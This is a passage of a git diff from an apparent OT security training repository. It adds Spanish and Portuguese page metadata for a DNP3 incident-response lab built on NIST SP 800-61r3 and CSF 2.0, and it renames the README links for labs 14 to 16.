vivo a través del ciclo de vida NIST SP 800-61r3 / CSF 2.0: triaje, contención quirúrgica que preserva el proceso DNP3, recuperación e informe post-incidente." +categories: ["Laboratorios"] +difficulty: "Avanzado" +tags: ["OT", "ICS", "DNP3", "Respuesta a Incidentes", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Modelo Purdue", "Contención", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- + +{{< readfile file="OTLab16-ES.md" >}} + +{{< code-preview title="📝 RESOLUCIÓN" file="OTLab16.sh" >}} + +{{< collapsible title="📖 IR Playbook (NIST / OT)" file="IRPlaybookReference-ES.md" >}} + +{{< collapsible title="🗺️ Modelo Purdue (actual vs objetivo)" file="PurdueModelReference-ES.md" >}} + +{{< collapsible title="📋 Plantilla de Informe de Incidente" file="IR_Template-ES.md" >}} diff --git a/OTLab16/index.md b/OTLab16/index.md new file mode 100644 index 0000000..280963b --- /dev/null +++ b/OTLab16/index.md @@ -0,0 +1,20 @@ +--- +title: "Lab 16 - Emulação do protocolo DNP3 e resposta a incidentes" +description: "Trabalhar uma intrusão OT em direto pelo ciclo de vida NIST SP 800-61r3 / CSF 2.0: triagem, contenção cirúrgica que preserva o processo DNP3, recuperação e relatório pós-incidente." +categories: ["Laboratórios"] +difficulty: "Avançado" +tags: ["OT", "ICS", "DNP3", "Resposta a Incidentes", "NIST SP 800-61", "NIST SP 800-82", "CSF 2.0", "Modelo Purdue", "Contenção", "SCADA"] +estimated_time: "90 min" +level: 4 +area: "response" +--- + +{{< readfile file="OTLab16.md" >}} + +{{< code-preview title="📝 RESOLUÇÃO" file="OTLab16.sh" >}} + +{{< collapsible title="📖 IR Playbook (NIST / OT)" file="IRPlaybookReference.md" >}} + +{{< collapsible title="🗺️ Modelo Purdue (atual vs alvo)" file="PurdueModelReference.md" >}} + +{{< collapsible title="📋 Modelo de Relatório de Incidente" file="IR_Template.md" >}} diff --git a/README.md b/README.md index 38b6f39..2517a02 100644 --- a/README.md +++ b/README.md @@ -53,9 +53,9 @@ Additionally, as outlined in [ThirdPartyDockerImages](https://github.com/substat - [OTLab11](https://github.com/substationworm/OTLab/tree/main/OTLab11): AiTM MFA Bypass. - [OTLab12](https://github.com/substationworm/OTLab/tree/main/OTLab12): Fundamental Network Topologies. - [OTLab13](https://github.com/substationworm/OTLab/tree/main/OTLab13): Jump Host. -- [OTLab14](./OTLab14): DNP3 Traffic Analysis with Wireshark. -- [OTLab15](./OTLab15): DNP3 Anomaly Detection with Zeek. -- [OTLab16](./OTLab16): DNP3 Incident Response and OT Containment. +- [OTLab14](./OTLab14): DNP3 Protocol Emulation and Traffic Analysis Using Wireshark. +- [OTLab15](./OTLab15): DNP3 Protocol Emulation and Detection with Zeek. +- [OTLab16](./OTLab16): DNP3 Protocol Emulation and Incident Response. ---